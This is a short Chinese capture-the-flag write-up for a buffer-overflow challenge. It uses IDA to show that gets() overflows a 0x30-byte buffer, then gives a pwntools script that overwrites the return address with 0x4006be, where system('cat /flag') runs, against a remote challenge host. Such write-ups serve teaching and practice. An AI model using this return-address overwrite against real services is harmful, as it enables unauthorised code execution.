使用ida打开,这里要判断v2要等于11.28125,但是v2压根就不能被改变
gets是栈溢出漏洞的常客了,因为他不会限制我们输入多少内容
我们直接覆盖掉返回的地址,返回的地址我们填从result=system("cat /flag")开始即可
差不多就是这里: 0x4006be
这里是ida识别出来的v1距离rbp的长度是0x30,然后程序是64位的需要距离返回地址还差8字节
知道了这些后,开始写exp
from pwn import *
p = remote("node4.anna.nssctf.cn",28318)
payload = b"a" * 0x30 + b"a" * 8 + p64(0x4006be)
p.sendline(payload)
p.interactive()